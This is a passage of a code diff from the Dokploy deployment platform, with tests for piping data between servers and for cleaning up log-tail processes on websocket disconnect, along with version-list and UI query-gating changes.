const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-"));
const source = path.join(dir, "src.bin");
const target = path.join(dir, "dst.bin");
const size = 1024 * 1024;
const progress: number[] = [];
const bytes = await pipeBetweenServers({
source: {
serverId: null,
command: `head -c ${size} /dev/urandom | tee '${source}'`,
},
target: { serverId: null, command: `cat > '${target}'` },
onProgress: (transferred) => progress.push(transferred),
});
expect(bytes).toBe(size);
expect(progress.at(-1)).toBe(size);
expect(await fs.readFile(target)).toEqual(await fs.readFile(source));
await fs.rm(dir, { recursive: true, force: true });
}, 30_000);
it("reports a target failure with its stderr", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "printf x" },
target: { serverId: null, command: "echo boom >&2; exit 3" },
}),
).rejects.toThrow("target exited with code 3: boom");
});
it("reports a source failure", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "exit 2" },
target: { serverId: null, command: "cat > /dev/null" },
}),
).rejects.toThrow("source exited with code 2");
});
});
@@ -0,0 +1,169 @@
import { EventEmitter } from "node:events";
import http from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import WebSocket from "ws";
class FakeChild extends EventEmitter {
stdout = new EventEmitter();
stderr = new EventEmitter();
killed = false;
exitCode: number | null = null;
signalCode: NodeJS.Signals | null = null;
signals: string[] = [];
// Mirrors ChildProcess: `killed` flips as soon as a signal is delivered,
// even if the process ignores it and keeps running.
ignoreSigterm = false;
kill(signal: NodeJS.Signals = "SIGTERM") {
this.signals.push(signal);
this.killed = true;
if (signal === "SIGTERM" && this.ignoreSigterm) return true;
this.signalCode = signal;
this.emit("close", null, signal);
return true;
}
}
const children = vi.hoisted(() => [] as FakeChild[]);
const nextChild = vi.hoisted(() => ({ ignoreSigterm: false }));
vi.mock("node:child_process", async (importOriginal) => ({
...(await importOriginal<typeof import("node:child_process")>()),
spawn: vi.fn(() => {
const child = new FakeChild();
child.ignoreSigterm = nextChild.ignoreSigterm;
children.push(child);
return child;
}),
}));
const sshClients = vi.hoisted(
() => [] as { connect: ReturnType<typeof vi.fn> }[],
);
vi.mock("ssh2", () => ({
Client: vi.fn(function (this: Record<string, unknown>) {
this.on = vi.fn(() => this);
this.connect = vi.fn(() => this);
this.end = vi.fn();
sshClients.push(this as never);
}),
}));
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockFindServerById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
validateRequest: mockValidateRequest,
findServerById: mockFindServerById,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
readValidDirectory: () => true,
}));
import { setupDeploymentLogsWebSocketServer } from "@/server/wss/listen-deployment";
const AUTH = {
user: { id: "user-1" },
session: { activeOrganizationId: "org-1" },
};
const deferred = <T>() => {
let resolve!: (value: T) => void;
const promise = new Promise<T>((r) => {
resolve = r;
});
return { promise, resolve };
};
const flush = () => new Promise((r) => setTimeout(r, 50));
let server: http.Server;
let url: string;
beforeEach(async () => {
children.length = 0;
sshClients.length = 0;
nextChild.ignoreSigterm = false;
vi.clearAllMocks();
server = http.createServer();
setupDeploymentLogsWebSocketServer(server);
await new Promise<void>((r) => server.listen(0, "127.0.0.1", r));
const { port } = server.address() as AddressInfo;
url = `ws://127.0.0.1:${port}/listen-deployment?logPath=/etc/dokploy/logs/app/deploy.log`;
});
afterEach(async () => {
vi.useRealTimers();
await new Promise((r) => server.close(r));
});
const connect = async (query = "") => {
const ws = new WebSocket(`${url}${query}`);
await new Promise((r) => ws.once("open", r));
return ws;
};
const closeClient = async (ws: WebSocket) => {
ws.close();
await new Promise((r) => ws.once("close", r));
await flush();
};
describe("deployment logs websocket (#5518)", () => {
it("kills tail when the client disconnects", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
expect(children).toHaveLength(1);
await closeClient(ws);
expect(children[0]!.signals).toContain("SIGTERM");
});
it("does not spawn tail when the client disconnects during auth", async () => {
const auth = deferred<typeof AUTH>();
mockValidateRequest.mockReturnValue(auth.promise);
const ws = await connect();
await closeClient(ws);
auth.resolve(AUTH);
await flush();
const leaked = children.filter(
(c) => c.exitCode === null && c.signalCode === null,
);
expect(leaked).toHaveLength(0);
});
it("does not open an SSH session when the client disconnects while loading the server", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const serverLookup = deferred<unknown>();
mockFindServerById.mockReturnValue(serverLookup.promise);
const ws = await connect("&serverId=srv-1");
await closeClient(ws);
serverLookup.resolve({
organizationId: "org-1",
sshKeyId: "key-1",
sshKey: { privateKey: "key" },
ipAddress: "10.0.0.1",
port: 22,
username: "root",
});
await flush();
const connected = sshClients.filter((c) => c.connect.mock.calls.length > 0);
expect(connected).toHaveLength(0);
});
it("force-kills tail with SIGKILL when SIGTERM does not stop it", async () => {
nextChild.ignoreSigterm = true;
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
await closeClient(ws);
await new Promise((r) => setTimeout(r, 1100));
expect(children[0]!.signals).toEqual(["SIGTERM", "SIGKILL"]);
});
});
@@ -8,4 +8,3 @@ export { RestartPolicyForm } from "./restart-policy-form";
export { RollbackConfigForm } from "./rollback-config-form";
export { StopGracePeriodForm } from "./stop-grace-period-form";
export { UpdateConfigForm } from "./update-config-form";
export { filterEmptyValues, hasValues } from "./utils";
@@ -1,31 +0,0 @@
/**
* Filters out undefined, null, and empty string values from form data
* Only returns fields that have actual values
*/
export const filterEmptyValues = (
formData: Record<string, any>,
): Record<string, any> => {
return Object.entries(formData).reduce(
(acc, [key, value]) => {
// Keep arrays even if empty (they might be intentionally cleared)
if (Array.isArray(value)) {
if (value.length > 0) {
acc[key] = value;
}
}
// For other values, filter out undefined, null, and empty strings
else if (value !== undefined && value !== null && value !== "") {
acc[key] = value;
}
return acc;
},
{} as Record<string, any>,
);
};
/**
* Checks if filtered data has any values to save
*/
export const hasValues = (data: Record<string, any>): boolean => {
return Object.keys(data).length > 0;
};
@@ -31,6 +31,45 @@ import { api } from "@/utils/api";
// Railpack versions from https://github.com/railwayapp/railpack/releases
export const RAILPACK_VERSIONS = [
"0.39.0",
"0.38.0",
"0.37.1",
"0.37.0",
"0.36.4",
"0.36.3",
"0.36.2",
"0.36.1",
"0.36.0",
"0.35.0",
"0.34.0",
"0.33.0",
"0.32.0",
"0.31.2",
"0.31.1",
"0.31.0",
"0.30.1",
"0.30.0",
"0.29.0",
"0.28.0",
"0.27.2",
"0.27.1",
"0.27.0",
"0.26.1",
"0.26.0",
"0.25.0",
"0.24.0",
"0.23.0",
"0.22.2",
"0.22.1",
"0.22.0",
"0.21.0",
"0.20.0",
"0.19.0",
"0.18.0",
"0.17.2",
"0.17.1",
"0.17.0",
"0.16.0",
"0.15.4",
"0.15.3",
"0.15.2",
@@ -45,12 +84,22 @@ export const RAILPACK_VERSIONS = [
"0.9.1",
"0.9.0",
"0.8.0",
"0.7.2",
"0.7.1",
"0.7.0",
"0.6.1",
"0.6.0",
"0.5.1",
"0.5.0",
"0.4.0",
"0.3.0",
"0.2.3",
"0.2.2",
"0.2.1",
"0.2.0",
"0.1.2",
"0.1.1",
"0.1.0",
] as const;
export enum BuildType {
@@ -156,7 +156,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
domainId,
},
{
enabled: !!domainId,
enabled: isOpen && !!domainId,
},
);
@@ -167,7 +167,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
applicationId: id,
},
{
enabled: !!id,
enabled: isOpen && !!id,
},
)
: api.compose.one.useQuery(
@@ -175,7 +175,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
composeId: id,
},
{
enabled: !!id,
enabled: isOpen && !!id,
},
);
@@ -187,9 +187,14 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
api.domain.generateDomain.useMutation();
const { data: canGenerateTraefikMeDomains } =
api.domain.canGenerateTraefikMeDomains.useQuery({
serverId: application?.serverId || "",
});
api.domain.canGenerateTraefikMeDomains.useQuery(
{
serverId: application?.serverId || "",
},
{
enabled: isOpen,
},
);
const {
data: services,
@@ -204,7 +209,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
{
retry: false,
refetchOnWindowFocus: false,
enabled: type === "compose" && !!id,
enabled: isOpen && type === "compose" && !!id,
},
);
@@ -84,9 +84,9 @@ export const ShowPatches = ({ id, type }: Props) => {
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between">
<div>
<CardTitle>Patches</CardTitle>
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Patches</CardTitle>
<CardDescription>
Apply code patches to your repository during build. Patches are
applied after cloning the repository and before building.
@@ -77,23 +77,19 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
};
return (
<Card className=" px-6 shadow-none bg-transparent h-full min-h-[50vh]">
<CardHeader className="px-0">
<div className="flex justify-between items-center gap-y-2 flex-wrap">
<div className="flex flex-col gap-2">
<CardTitle className="text-xl font-bold flex items-center gap-2">
Scheduled Tasks
</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
<Card className="bg-background h-full min-h-[50vh]">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Scheduled Tasks</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
</CardHeader>
<CardContent className="px-0">
<CardContent>
{isLoadingSchedules ? (
<div className="flex gap-4 w-full items-center justify-center text-center mx-auto min-h-[45vh]">
<Loader2 className="size-4 text-muted-foreground/70 transition-colors animate-spin self-center" />

Some files were not shown because too many files have changed in this diff Show More